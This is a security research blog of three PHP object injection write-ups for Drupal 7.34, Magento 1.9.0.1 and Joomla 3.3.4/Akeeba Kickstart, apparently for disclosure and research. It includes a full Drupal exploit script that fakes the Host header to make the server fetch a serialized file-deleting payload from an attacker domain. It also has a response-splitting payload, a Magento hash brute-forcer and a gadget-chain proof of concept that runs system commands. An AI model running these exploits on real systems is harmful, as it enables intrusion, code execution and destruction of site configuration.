Drupal 7.34 Admin PHP Object Injection

January 9, 2015

There is an interesting PHP object injection vulnerability in the latest Drupal 7.34 version I played with lately and wanted to write about. It requires administrator privileges and thus its security impact is negligible because a Drupal administrator can execute arbitrary code by uploading custom modules anyway. However, the exploitation is fun and I will document each failed/succeeded step I took.

1. PHP Object Injection

Drupal is shipped with a SimpleTest module that allows to write and execute test cases for Drupal modules (/modules/simpletest/drupal_web_test_case.php). For this purpose, the class DrupalTestCase provides methods to automate interaction with the Drupal interface. The method curlHeaderCallback() unserializes data that is passed to its second parameter, for example if the string X-Drupal-Assertion-1: is prepended.

protected function curlHeaderCallback($curlHandler, $header) {  
	...
	if (preg_match('/^X-Drupal-Assertion-[0-9]+: (.*)$/', $header, $matches)) {  
		// Call DrupalWebTestCase::error() with the parameters from the header.  
		call_user_func_array(array(&$this, 'error'), unserialize(urldecode($matches[1])));  
	}

Lets see where this method is used. As the name suggests, the curlHeaderCallback() is set as CURLOPT_HEADERFUNCTION callback in the curlInitialize() method.

protected function curlInitialize() {
	global $base_url;

	if (!isset($this->curlHandle)) {
	   $this->curlHandle = curl_init();
	   $curl_options = array(
		CURLOPT_COOKIEJAR => $this->cookieFile,
		CURLOPT_URL => $base_url,
		CURLOPT_FOLLOWLOCATION => FALSE,
		CURLOPT_RETURNTRANSFER => TRUE,
		CURLOPT_SSL_VERIFYPEER => FALSE, 
		CURLOPT_SSL_VERIFYHOST => FALSE,
		CURLOPT_HEADERFUNCTION => array(&$this, 'curlHeaderCallback'),
		CURLOPT_USERAGENT => $this->databasePrefix,
	   );

That means that every HTTP response header of a request made with this CURL instance is passed through the vulnerable curlHeaderCallback() method. If we can influence the HTTP response header of such an CURL request, we can inject serialized PHP objects into the unserialize call. The HTTP response we want to achive could look like the following in order to inject a stdClass object into the applications scope:

HTTP/1.1 200 OK
Date: Sun, 04 Jan 2015 15:03:36 GMT
Server: Apache
X-Drupal-Assertion-1: O:8:"stdClass":1:{s:4:"rips";b:1;}
Content-Length: 0
Content-Type: text/html

The method curlInitialize() is used in the curlExec() method to prepare and execute a CURL request. Here, further CURL options can be specified in the first parameter $curl_options.

protected function curlExec($curl_options, $redirect = FALSE) {
	$this->curlInitialize();
	...
	curl_setopt_array($this->curlHandle, $this->additionalCurlOptions + $curl_options);
	...
	$content = curl_exec($this->curlHandle);

The wrapper curlExec() is used in the methods drupalGet() and drupalPost() to perform the actual test case request. The targeted request URL is given in the first parameter and is used as CURLOPT_URL parameter.

protected function drupalGet($path, array $options = array()) {
	$options['absolute'] = TRUE;

	$out = $this->curlExec(array(CURLOPT_URL => url($path, $options));

2. Header Injection

We now have two possible ways of exploitation. Either, we find a drupalGet() call that we can point to an external domain we control. Then we can respond with a modified HTTP header that will be passed to curlHeaderCallback() and triggers the unserialize.

Or we find a HTTP Response Splitting vulnerability within on of Drupal’s scripts plus a drupalGet() or drupalPost() call targeting that script. Then we can inject our own X-Drupal-Assertion header through that vulnerability and add our serialized data. An open redirect vulnerability would work as well here.

A quick grep for drupalGet() calls reveals that they are mostly pointing to static and relative URLs. Since Drupal’s test cases work on the current Drupal installation, a call to an external domain we control is unlikely. Hence, I first looked for HTTP Response Splitting vulnerabilities.

2.1 Drupal Send Headers

Looking at several header() calls in Drupal’s code reveals the function drupal_add_http_header() that uses drupal_send_headers() to set arbitrary HTTP headers via header(). It is called with user input in the simpletest case /modules/simpletest/tests/system_test.module that looks promising at first sight.

function system_test_set_header() {  
   drupal_add_http_header($_GET['name'], $_GET['value']);  
   return t('The following header was set: %name: %value', array('%name' => $_GET['name'], '%value' => $_GET['value']));  
}  

The function system_test_set_header() is called in the system test case suite and allows to set arbitrary HTTP headers for testing. This way, we could set a X-Drupal-Assertion header. However, the system_test.module test case itself is not targeted by a drupalGet() call that would evaluate our injected HTTP header with the vulnerable callback handler. That would mean that a test case issues this test case. And even if we could point a drupalPost() call of a test case to another test case, we would need HTTP parameter pollution to also modify the HTTP parameters to add the name and value parameter. Summarized, code within test cases is probably hard to trigger with the set of drupalGet() calls we can find in test cases. Maybe we find an easier way.

2.2 HTTP Response Splitting

A more promising function is drupal_goto() in /includes/common.inc that is vulnerable to HTTP response splitting. Here, the GET parameter destination is used (if set) in the header() call in line 691 for redirection. By using whitespace characters, such as %0a or %0d, we can add another HTTP header to the previous one (we will come back to the fact that the header() function was fixed).

function drupal_goto($path = '', array $options = array(), $http_response_code = 302) {  
   // A destination in $_GET always overrides the function arguments.  
   // We do not allow absolute URLs to be passed via $_GET, as this can be an attack vector.  
   if (isset($_GET['destination']) && !url_is_external($_GET['destination'])) {  
     $destination = drupal_parse_url($_GET['destination']);  
     $path = $destination['path'];  
     $options['query'] = $destination['query'];  
     $options['fragment'] = $destination['fragment'];  
   }  
   $url = url($path, $options);  
   header('Location: ' . $url, TRUE, $http_response_code);
}  

First, a few tricks are neccessary. The provided destination URL cannot be an external URL which is ensured by the url_is_external() function in line 684. It identifies external URLs by looking for the presence of a : character and ensuring none of the following character is found before it: /?#. Then, the function drupal_parse_url() is used in line 685 to parse the URL into parts. Lastly, the function url() in line 690 generates a urlencoded URL from the parsed parts and that URL is used in header(). We have to smuggle our whitespace characters urldecoded through these functions into the $url.

function drupal_parse_url($url) {
  if (strpos($url, '://') !== FALSE) {
    // Split off everything before the query string into 'path'.
    $parts = explode('?', $url);
    $options['path'] = $parts[0];
    // If there is a query string, transform it into keyed query parameters.
    if (isset($parts[1])) {
      $query_parts = explode('#', $parts[1]);
      parse_str($query_parts[0], $options['query']);
      // Take over the fragment, if there is any.
      if (isset($query_parts[1])) {
        $options['fragment'] = $query_parts[1];
      }
    }
  }

For this purpose, we can abuse the drupal_parse_url() function and its parsing for external URLs. External URLs are identified here by looking for :// and we can easily supply #://AAA?BBB=CCC#DDD as URL to bypass the url_is_external() check because of the # before the : character. Our URL is still parsed as external URL in drupal_parse_url() because it contains ://. Here, the function parse_str() is used in line 583.

Now, for relative URLs, parse_str() replaces whitespaces characters within the path (AAA) or parameter names (BBB) into _. That means we cannot inject our whitespace characters here. We can inject them into the parameter values (CCC) because parse_str() automatically decodes urlencoded values here. Later on, however, the function url() will urlencode these values again. But we can use the fragment part (DDD) which is later not urlencoded again by url(). The weaponized destination parameter looks like the following:

?destination=%23://AAA?BBB=CCC%23DDD%0A%09X-Drupal-Assertion-1:%201

Next, isn’t header() fixed in order to prevent HTTP response splitting? It depends on the browser used (and on the PHP version). For example, in IE there are still attack vectors working after the fix. More importantly for us is: how is CURL affected by HTTP response splitting?

After fuzzing it turns out that all PHP versions allow %0a%09 within header() AND that CURL parses two seperate HTTP headers when these characters are used as newline characters. That means HTTP response splitting is a viable attack vector against CURL in PHP.

So far so good, lets see where drupal_goto() is called and if we can trigger a call via a drupalGet() or drupalPost() call with our destination parameter. For example, I found the following URL to be affected by HTTP response splitting if requested with CURL:

/authorize.php?batch=1&id=1&destination=%23://A?B=C%23D%0A%09X-Drupal-Assertion-1:%201

However, after looking through 1000 variable drupal(Get|Post) calls, the only variables in the URL seem to be $item->ids or Drupal’s $base_url. Although authorize.php is targeted by CURL requests, we can not add our destination parameter to the request URL because no URL is built with user input.

Injecting a parameter into a CURL request that performs HTTP response splitting in order to add a HTTP header that is then unserialized in the callback handler and triggers a gadget chain would have been a pretty cool exploit though ;).

2.3 External URL

Before we give up, lets have a look at the $base_url that is used in so many drupalGet() calls, such as in the aggregator test case (/modules/aggregator/aggregator.test).

public function testCron() {  
     global $base_url;  
     $this->drupalGet($base_url . '/cron.php'); 

The global $base_url variable is initialized within the drupal_settings_initialize() function during Drupal’s bootstrap (/includes/bootstrap.inc).

function drupal_settings_initialize() {  
     global $base_url, $base_path, $base_root;  
     ...
     // Create base URL  
     $http_protocol = $is_https ? 'https' : 'http';  
     $base_root = $http_protocol . '://' . $_SERVER['HTTP_HOST'];  
     $base_url = $base_root; 
     ...
     // Use $base_url as session name, without the protocol  
     list( , $session_name) = explode('://', $base_url, 2);  
     session_name($prefix . substr(hash('sha256', $session_name), 0, 32));
}

The good thing is, that it uses $_SERVER[‘HTTP_HOST’] (line 730). We can arbitrarily change the Host: header when making a request to Drupal. That means, we can set the Host: header to our own domain when initiating the testCron() aggregator test case which will then initiate a CURL request to the modified $base_url. On our server, we reply with a X-Drupal-Assertion HTTP header that is then unserialized by the targeted web server.

The bad thing is, that drupal_settings_initialize() also binds the $base_url to the session name (line 735). That means, we have to fake the Host: header for all steps involved in our exploit. And we have to find some gadget chains we can exploit.

3. Exploitation

Lets do this. The gadget chains are not really sophisticated in Drupal due to the lack of interesting initial gadgets (magic methods). We will use the destructor of the class Archive_Tar (/modules/system/system.tar.inc) that allows to delete an arbitrary file by specifying the _temp_tarname property.

class Archive_Tar {
  function __destruct()  
  {  
     $this->_close();
     if ($this->_temp_tarname != '')  
          @drupal_unlink($this->_temp_tarname);  
  }  
}

On our server we create the following script that instantiates a new Archive_Tar object with the _temp_tarname property set to Drupal’s config file sites/default/settings.php. The object is then serialized and embedded to the HTTP response header.

class Archive_Tar {
	var $_temp_tarname=''; 
	public function __construct() {
		$this->_temp_tarname = "sites/default/settings.php";
	}
}
$payload = urlencode(serialize(new Archive_Tar));
header('X-Drupal-Assertion-1: '.$payload);
exit;

Now we have to start the Drupal test case with a faked Host: header in order to let the drupalGet() CURL request point to our script. For this purpose, we write an exploit that logs into Drupal with a faked header to keep our session valid and starts the test case:

<?php
// Drupal 7.34 POI just for fun
// requires admin credentials

$username = 'admin';
$password = 'admin';

$targetDomain 	= 'localhost';
$myDomain 	= 'websec.wordpress.com';

function request($url, $postdata='', $ajax = false) {
	global $cookie, $myDomain;
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch, CURLOPT_HEADER, true); 	
	curl_setopt($ch, CURLOPT_URL, $url);
	if(!empty($postdata)) {
		curl_setopt($ch, CURLOPT_POST, TRUE);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
	}
	curl_setopt($ch, CURLOPT_COOKIE, $cookie);
	$header = array("Host: $myDomain");
	if($ajax) {
		$header[] = "X-Requested-With: XMLHttpRequest";
	}
	curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
	curl_setopt($ch, CURLOPT_FORBID_REUSE, true);
	curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
	$buf = curl_exec ($ch);
	curl_close($ch);
	preg_match('/Set-Cookie: (SESS[a-f0-9]{32})=([^;]+);/', $buf, $cookies);
	if(!empty($cookies)) {
		$cookie .= $cookies[1].'='.$cookies[2]."; "; 
	}
	return $buf;
}

$baseURL = 'http://%s/';
$target = sprintf($baseURL, $targetDomain);
$cookie = 'has_js=1; ';

// get CSRF token
$r1 = request($target);
preg_match('/form_build_id" value="([^"]*)"/', $r1, $build_id);

// login
$postdata = 'form_build_id='. $build_id[1] . '&name='. $username. '&pass='.$password. '&op=Log+in&form_id=user_login_block';
$r2 = request($target . '?q=node&destination=node', $postdata);

// check login status
$r3 = request($target . '?q=node');
if(strpos($r3, 'Hello <strong>'.$username) !== FALSE) {

	// get CSRF token
	$r4 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay');
	preg_match('/form_build_id" value="([^"]*)"/', $r4, $build_id2);
	preg_match('/form_token" value="([^"]*)"/', $r4, $token);
	
	if(isset($build_id2[1]) && isset($token[1])) {
		// run simple test
		$postdata = 'AggregatorCronTestCase=1&op=Run+tests&form_build_id='.$build_id2[1].
		'&form_token='.$token[1].'&form_id=simpletest_test_form';
		$r5 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay&render=overlay', $postdata);
		// trigger start and do
		preg_match('#Location: http[^\s]+(\?[^\s]+)\s#', $r5, $loc);
		$r6 = request($target . $loc[1]);
		$r7 = request($target . str_replace('start', 'do', $loc[1]), 'post=1', true);
		echo 'Successfully started AggregatorCronTestCase with a faked Host header.',
			'It will parse HTTP headers from ' . sprintf($baseURL, $myDomain) . '.',
			'This may take a few minutes.';
	}
	else {
		die("could not fetch simpletest CSRF token");
	}
}
else {
	die("Could not login. Invalid login credentials?");
}

The initiated test case will then make a CURL request to our domain because we faked the $base_url. Here, it will receive our X-Drupal-Assertion header with the serialized Archive_Tar object. This object is now unserialized in the CURL callback handler and injected into the applications scope. Once the application request is parsed, the destructor of our injected Archive_Tar object is invoked and the Drupal configuration file is deleted. Once this happened, the Drupal installer is available to the attacker that enables further attacks.

Again, this is just for fun and does not pose any security risk to Drupal, because administrator privileges are required and an administrator is able to execute code on the server anyway. The issue has been reported to Drupal nonetheless. I have been informed that the permission “Administer tests” has the restricted access flag set and is therefore not subject to security advisories/releases (which I agree with).

The HTTP host header leads to another attack vector in Drupal. The $base_url is also used in the password reset link sent out by email. When the password reset is initiated with a faked host header for a victim, the link that is sent to the victim via email will point to the attackers server. If the victim clicks on the password reset link, the password reset token is then transmitted to the attacker and not to the Drupal installation. Drupal decided to not patch this issue and released a guideline to implement countermeasures.


Magento 1.9.0.1 PHP Object Injection

December 8, 2014

Recently, I found a PHP Object Injection (POI) vulnerability in the administrator interface of Magento 1.9.0.1. Magento is an e-commerce software written in PHP that was acquired by Ebay Inc. A bug bounty program is run that attracts with a 10,000$ bounty for remote code execution bugs. A POI vulnerability can lead to such a remote code execution, depending on the gadget chains the attacker is able to trigger.

Sadly I stopped investigating the POI vulnerability and resumed 1 week later – a fatal error. When I continued investigating exploitable gadget chains, Magento pushed an update in the meantime that patches several security issues. The POI is not mentioned anywhere, but it is fixed by replacing the affected unserialize() call with json_decode().

So no bug bounty, but the exploitation is still worth a look at because it includes a hash verification bypass and a cool gadget that allowed full code coverage in gadget chaining. In the end, an attacker can execute arbitrary code on the targeted server. However, administrator privileges are required.

1. PHP Object Injection

In Magento 1.9.0.1, the method tunnelAction() of the administrator’s DashboardController is affected by a POI vulnerability. It deserializes user data supplied in the ga parameter.

	// app/code/core/Mage/Adminhtml/controllers/DashboardController.php
	public function tunnelAction()  
	{  
		$gaData = $this->getRequest()->getParam('ga');  
		$gaHash = $this->getRequest()->getParam('h');  
		if ($gaData && $gaHash) {  
			$newHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData);  
			if ($newHash == $gaHash) {  
				if ($params = unserialize(base64_decode(urldecode($gaData)))) {  

A closer look reveals, however, that the base64 encoded, serialized data is protected with a hash from manipulation. The hash of the gaData is generated with the method getChartDataHash() and is then compared to the hash supplied in the h parameter. Only if both hashes match, the data is deserialized.

Lets get some sample data. The tunnelAction() is triggered, when the dashboard graph is loaded.

	// app/design/adminhtml/default/default/template/dashboard/graph.phtml
	<img src="<?php echo $this->getChartUrl(false) ?>

Here, the method getChartUrl() serializes graph parameters and creates the gaHash of the base64 encoded gaData.

	// app/code/core/Mage/Adminhtml/Block/Dashboard/Graph.php
	function getChartUrl() {
		...
		$gaData = urlencode(base64_encode(serialize($params)));  
		$gaHash = Mage::helper('adminhtml/dashboard_data')->getChartDataHash($gaData);  
		$params = array('ga' => $gaData, 'h' => $gaHash);  
		return $this->getUrl('*/*/tunnel', array('_query' => $params));  
	}

The following request is generated and can be intercepted:

/index.php/admin/dashboard/tunnel/key/803e506c399449c72975fc1fcc2c0435/
?ga=eyJjaHQiOiJsYyIsImNoZiI6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCIsImNobSI6IkIsZjRkNGIyLDAsMCwwIiwiY2hjbyI6ImRiNDgxNCIsImNoZCI6ImU6IiwiY2h4dCI6IngseSIsImNoeGwiOiIwOnx8fDk6MDAgdm9ybS58fHwxMjowMCBuYWNobS58fHwzOjAwIG5hY2htLnx8fDY6MDAgbmFjaG0ufHx8OTowMCBuYWNobS58fHwxMjowMCB2b3JtLnx8fDM6MDAgdm9ybS58fHw2OjAwIHZvcm0ufDE6fDB8MSIsImNocyI6IjU4N3gzMDAiLCJjaGciOiI0LjM0NzgyNjA4Njk1NjUsMTAwLDEsMCJ9
&h=61f3757d04b665baac6f8176a2012337

We can base64 decode the data in the ga parameter (line 2) and modify the serialized parameters in order to exploit the PHP Object Injection vulnerability. However, we then have to generate a valid hash for our malformed data and replace it with the hash in the h parameter (line 3). Otherwise, our manipulated data is not deserialized.

2. Hash Verification

Lets have a look at how the hash is generated and if we can forge it for manipulated data. The hash is created in the getChartDataHash() method by calculating the MD5 hash of the base64 encoded data concatenated with a secret. If we know this secret, we can generate our own hash for our modified gaData.

	// app/code/core/Mage/Adminhtml/Helper/Dashboard/Data.php
	public function getChartDataHash($data)  
	{  
		$secret = (string)Mage::getConfig()->getNode(Mage_Core_Model_App::XML_PATH_INSTALL_DATE);  
		return md5($data . $secret);  
	}  

Luckily, the secret is cryptographically very weak. As the constant’s name suggests, the config value XML_PATH_INSTALL_DATE refers to the date of the Magento installation in RFC 2822 format. For example, the secret date could look like the following:

Sat, 1 Nov 2014 21:08:46 +0000

Assuming that the installation was performed maximum 1 year ago, there are less than 31 * 12 * 24*60*60 = 32 Mio possibilities. We can take the intercepted sample data to bruteforce the secret date locally. Furthermore, we can narrow down the possible date window by observing the HTTP response header of the targeted web server. For example, the HTTP response for a request of the favicon file tells us its last modification date:

Request:			 
GET /favicon.ico HTTP/1.0
Response
If-Modified-Since: Wed, 05 Nov 2014 09:06:45 GMT

This should equal to the exact date when the installation files were copied to the server. We can then assume, that the installation was performed at least within the same month when this file was extracted. Also, it tells us the timezone (here GMT) used by the server. This leaves us only with 30 * 24*60*60 = 2.6 Mio possibilities which can be bruteforced within a few seconds.

$gaData = 'eyJjaHQiOiJsYyIsImNoZiI6ImJnLHMsZjRmNGY0fGMsbGcsOTAsZmZmZmZmLDAuMSxlZGVkZWQsMCIsImNobSI6IkIsZjRkNGIyLDAsMCwwIiwiY2hjbyI6ImRiNDgxNCIsImNoZCI6ImU6IiwiY2h4dCI6IngseSIsImNoeGwiOiIwOnx8fDk6MDAgdm9ybS58fHwxMjowMCBuYWNobS58fHwzOjAwIG5hY2htLnx8fDY6MDAgbmFjaG0ufHx8OTowMCBuYWNobS58fHwxMjowMCB2b3JtLnx8fDM6MDAgdm9ybS58fHw2OjAwIHZvcm0ufDE6fDB8MSIsImNocyI6IjU4N3gzMDAiLCJjaGciOiI0LjM0NzgyNjA4Njk1NjUsMTAwLDEsMCJ9';

$hash = '61f3757d04b665baac6f8176a2012337';

date_default_timezone_set('GMT');
// Wed, 05 Nov 2014 09:06:45 GMT
$timestamp = mktime(9, 6, 45,  11, 5, 2014);
$today = time();
for($i=0;$i<2592000 && $timestamp<$today; $i++) {
	$secret = date(DATE_RFC2822, $timestamp++);
	if(md5($gaData . $secret) === $hash) {
		echo $secret;
		break;
	}
}

Once we obtained the secret, we can alter the serialized data and create a valid hash for it, so our data is deserialized by the server. That means we can inject arbitrary objects into the application and trigger gadget chains by invoking the object’s magic methods (for more details please refer to our paper).

3. Gadget Chain

Magento’s code base is huge and many interesting initial gadgets (magic methods) can be found that trigger further gadgets (methods). For example, the usual File Deletion and File Permission Modification calls can be triggered in order to delete files. This is partly interesting in Magento, because the deletion of the /app/.htaccess file allows to access the /app/etc/local.xml file which contains the crypto key.

However, since we own already administrative privileges, we are interested in more severe vulnerabilities. It turns out, that the included (and autoloaded) Varien library provides all gadgets we need to execute arbitrary code on the server.

The deprecated class Varien_File_Uploader_Image provides a destructor as our initial gadget that allows us to jump to arbitrary clean() methods.

	// lib/Varien/File/Uploader/Image.php:357		 
	function __destruct()  
	{  
		$this->uploader->Clean();  
	}

This way, we can jump to the clean() method of the class Varien_Cache_Backend_Database. It fetches a database adapter from the property _adapter and executes a TRUNCATE TABLE query with its query() method. The table name can be controlled by the attacker by setting the property _options[‘data_table’].

	 
	// lib/Varien/Cache/Backend/Database.php
	public function clean($mode = Zend_Cache::CLEANING_MODE_ALL, $tags = array())  
	{  
		$adapter = $this->_adapter;  
		switch($mode) {  
			case Zend_Cache::CLEANING_MODE_ALL:  
				if ($this->_options['store_data']) {  
					$result = $adapter->query('TRUNCATE TABLE '.$this->_options['data_table']);  
				} 	
			...
		}
	}

If we provide the Varien_Db_Adapter_Pdo_Mysql as database adapter, its query() method passes along the query to the very interesting method _prepareQuery(), before the query is executed.

	
	// lib/Varien/Db/Adapter/Pdo/Mysql.php
	public function query($sql, $bind = array())  
	{  
		try {  
			$this->_checkDdlTransaction($sql);  
			$this->_prepareQuery($sql, $bind);  
			$result = parent::query($sql, $bind);
		} catch (Exception $e) {  
			...
		}  
	}  

The _prepareQuery() method uses the _queryHook property for reflection. Not only the method name is reflected, but also the receiving object. This allows us to call any method of any class in the Magento code base with control of the first argument – a really cool gadget found by the new RIPS prototype.

	
	// lib/Varien/Db/Adapter/Pdo/Mysql.php	 
	protected function _prepareQuery(&$sql, &$bind = array())  
	{  
		...
		// Special query hook  
		if ($this->_queryHook) {  
			$object = $this->_queryHook['object'];  
			$method = $this->_queryHook['method'];  
			$object->$method($sql, $bind);  
		}
	}  

From here it wasn’t hard to find a critical method that operates on its properties or its first parameter. For example, we can jump to the filter() method of the Varien_Filter_Template_Simple class. Here, the regular expression of a preg_replace() call is built dynamically with the properties _startTag and _endTag that we control. More importantly, the dangerous eval modifier is already appended to the regular expression, which leads to the execution of the second preg_replace() argument as PHP code.

		 
	// lib/Varien/Filter/Template/Simple.php	 
	public function filter($value)  
	{  
		return preg_replace('#'.$this->_startTag.'(.*?)'.$this->_endTag.'#e',
		'$this->getData("$1")', $value);  
	}  

In the executed PHP code of the second preg_replace() argument, the match of the first group is used ($1). Important to note are the double quotes that allow us to execute arbitrary PHP code by using curly brace syntax.

4. Exploit

Now we can put everything together. We inject a Varien_File_Uploader_Image object that will invoke the class’ destructor. In the uploader property we create a Varien_Cache_Backend_Database object, in order to invoke its clean() method. We point the object’s _adapter property to a Varien_Db_Adapter_Pdo_Mysql object, so that its query() method also triggers the valuable _prepareQuery() method. In the _options[‘data_table’] property, we can specify our PHP code payload, for example:

{${system(id)}}RIPS

We also append the string RIPS as delimiter. Then we point the _queryHook property of the Varien_Db_Adapter_Pdo_Mysql object to a Varien_Filter_Template_Simple object and its filter method. This method will be called via reflection and receives the following argument:

TRUNCATE TABLE {${system(id)}}RIPS

When we not set the Varien_Filter_Template_Simple object’s property _startTag to TRUNCATE TABLE and the property _endTag to RIPS the first match group of the regular expression in the preg_replace() call will be our PHP code. Thus, the following PHP code will be executed:

$this->getData("{${system(id)}}")

In order to determine the variables name, the system() call will be evaluated within the curly syntax. This leads us to execution of arbitrary PHP code or system commands.

PoC:

class Zend_Db_Profiler { 
	protected $_enabled = false; 
}
class Varien_Filter_Template_Simple {
	protected $_startTag;
	protected $_endTag;
	public function __construct() {
		$this->_startTag = 'TRUNCATE TABLE ';
		$this->_endTag = 'RIPS';
	}
} 
class Varien_Db_Adapter_Pdo_Mysql {
	protected $_transactionLevel = 0;
	protected $_queryHook;
	protected $_profiler;
	public function __construct() {
		$this->_queryHook = array();
		$this->_queryHook['object'] = new Varien_Filter_Template_Simple;
		$this->_queryHook['method'] = 'filter'; 
		$this->_profiler = new Zend_Db_Profiler;
	}
}
class Varien_Cache_Backend_Database {
	protected $_options;
	protected $_adapter; 
	public function __construct() {
		$this->_adapter = new Varien_Db_Adapter_Pdo_Mysql;
		$this->_options['data_table'] = '{${system(id)}}RIPS';
		$this->_options['store_data'] = true;
	}
}
class Varien_File_Uploader_Image {
	public $uploader;
	public function __construct() {
		$this->uploader = new Varien_Cache_Backend_Database;
	}
}	

$obj = new Varien_File_Uploader_Image;
$b64 = base64_encode(serialize($obj));
$secret = 'Sat, 1 Nov 2014 21:08:46 +0000';
$hash = md5($b64 . $secret);
echo '?ga='.$b64.'&h='.$hash;

The POI was straight-forward but we had to circumvent a hash verification first and find nice gadgets. A reflection injection allowed us to trigger almost arbitrary gadget chains through the entire code base that in the end allowed remote code execution. In the next post we have a look at another POI I played with lately, but triggering the POI itself will be more tricky.


Joomla! 3.3.4 / Akeeba Kickstart – Remote Code Execution (CVE-2014-7228)

October 5, 2014

In our latest paper we evaluated the new RIPS prototype regarding its ability to statically detect PHP object injection (POI) vulnerabilities and related gadget chains in PHP applications. Among others, the prototype reported a previously unknown POI vulnerability in Joomla 3.0.2. It turned out, that this vulnerability was still present in the (at that time) latest Joomla! 3.3.4 version. However, it appeared to be not exploitable because of some requirements and missing chains. Lately, I had a look at it again and found a way to exploit it in 5 steps. The last step still makes exploitation difficult and the severity can be rated as high.

1. Encryption Bypass

The vulnerability affects the Akeeba Kickstart package used in Joomla’s com_joomlaupdate component located in administrator/components/com_joomlaupdate/restore.php. This file is remotely accessible to any unprivileged (not logged-in) user and no authentication check is performed by Joomla!. It is used to install new Joomla! updates from a local ZIP file.
In the masterSetup() function, Akeeba Kickstart checks for an existing restoration.php file and includes it to initialize basic setup parameters. If the restoration.php file does not exist, the execution is aborted. We will come back to this condition later.

$setupFile = 'restoration.php';

if( !file_exists($setupFile) )
{
	// Uh oh... Somebody tried to pooh on our back yard. Lock the gates! Don't let the traitor inside!
	AKFactory::set('kickstart.enabled', false);
	return false;
}

// Load restoration.php. It creates a global variable named $restoration_setup
require_once $setupFile;

Once the file is successfully included, a Joomla! update is performed based on the included setup parameters and externally provided parameters. To avoid tampering, the external parameters are encrypted with AES-128 in CTR mode. However, it is possible to completely bypass the encryption abusing PHP oddities. In Akeeba Kickstart, all parameters are fetched with the getQueryParam() function.

function getQueryParam( $key, $default = null )
{
	if(array_key_exists($key, $_REQUEST)) {
		$value = $_REQUEST[$key];
	} elseif(array_key_exists($key, $_POST)) {
		$value = $_POST[$key];
	} elseif(array_key_exists($key, $_GET)) {
		$value = $_GET[$key];
	} else {
		return $default;
	}
	return $value;
}

It returns parameters from the superglobal $_REQUEST, $_POST, or $_GET array, if existent. First, the external setup parameter json is fetched through getQueryParam(). Then, all entries in the $_REQUEST array are removed to delete all other parameters supplied by the user.

$json = getQueryParam('json', null);

if(!empty($_REQUEST))
{
	foreach($_REQUEST as $key => $value)
	{
		unset($_REQUEST[$key]);
	}
}

However, $_REQUEST holds only a copy (not a reference) of $_GET and $_POST entries. That means that all provided GET and POST parameters are still available in the corresponding array, even when unset in $_REQUEST. The next lines decrypt the json parameter and populate its json encoded data into the $_REQUEST array again.

// Decrypt a possibly encrypted JSON string
if(!empty($json))
{
	$password = AKFactory::get('kickstart.security.password', null);
	if(!empty($password))
	{
		$json = AKEncryptionAES::AESDecryptCtr($json, $password, 128);
	}

	// Get the raw data
	$raw = json_decode( $json, true );
	// Pass all JSON data to the request array
	if(!empty($raw))
	{
		foreach($raw as $key => $value)
		{
			$_REQUEST[$key] = $value;
		}
	}
}

At this point, an attacker can leave the json parameter empty. The function getQueryParam() still returns parameters from $_GET and $_POST because only the $_REQUEST array was emptied. This way, no encryption key is required to provide further setup parameters that are fetched through getQueryParam().

2. PHP Object Injection

The POI vulnerability is straight-forward and appears in the next lines. The factory parameter is fetched through getQueryParam() and fed into the unserialize() method of AKFactory.

// A "factory" variable will override all other settings.
$serialized = getQueryParam('factory', null);  
if( !is_null($serialized) )  
{  
	// Get the serialized factory  
	AKFactory::unserialize($serialized); 
}

This method basically base64 decodes the parameter and instantiates the AKFactory class by unserializing the serialized object and storing it as instance.

Gadget Chains

Lets have a quick look at available gadgets. Akeeba Kickstart’s restore.php file works independently from the Joomla! code base. That means that no classes of Joomla! are loaded and no initial gadgets of Joomla! can be abused. However, it ships some own classes with defined magic methods.

class AKAbstractUnarchiver 
{
	public function __wakeup()
	{
		if($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			...
		}
	}
}

class AKPostprocFTP 
{
	function __wakeup()
	{
		$this->connect();
	}

	public function connect()
	{
		// Connect to server, using SSL if so required
		if($this->useSSL) {
			$this->handle = @ftp_ssl_connect($this->host, $this->port);
		} else {
			$this->handle = @ftp_connect($this->host, $this->port);
		}
		...
	}
}

These gadget chains do not impose a big security risk though and can at most be abused for SSRF or DoS. Considering the precondition of manually creating the restoration.php file, I felt this is not really exploitable, regardless of the encryption bypass.

3. Remote Code Execution

An important lesson I learned from this vulnerability is to not only have a look at the triggered gadget chains of a POI, but also to not forget to look at how the injected object affects the control flow after the injection. Until now, we have full control over the AKFactory instance with the PHP object injection that was triggered in the masterSetup() function.

masterSetup();

$retArray = array(
	'status'	=> true,
	'message'	=> null
);

$enabled = AKFactory::get('kickstart.enabled', false);

if($enabled)
{
	$task = getQueryParam('task');

	switch($task)
	{
		case 'ping':
			// ping task - realy does nothing!
			$timer = AKFactory::getTimer();
			$timer->enforce_min_exec_time();
			break;
		case 'startRestore':
			AKFactory::nuke(); // Reset the factory
		case 'stepRestore':
			$engine = AKFactory::getUnarchiver(); // Get the engine
			$observer = new RestorationObserver(); // Create a new observer
			$engine->attach($observer); // Attach the observer
			$engine->tick();
			...
			$retArray['files'] = $observer->filesProcessed;
			$retArray['bytesIn'] = $observer->compressedTotal;
			$retArray['bytesOut'] = $observer->uncompressedTotal;
			$retArray['status'] = true;
			$retArray['done'] = false;
			$retArray['factory'] = AKFactory::serialize();
			...
			break;
	}
}

After the update is prepared by the masterSetup(), we can start an update by setting the task parameter to startRestore or trigger the next step of the update by setting it to stepRestore. This API is used by AJAX requests to constantly check for the update status by reading the content of the later printed $retArray.

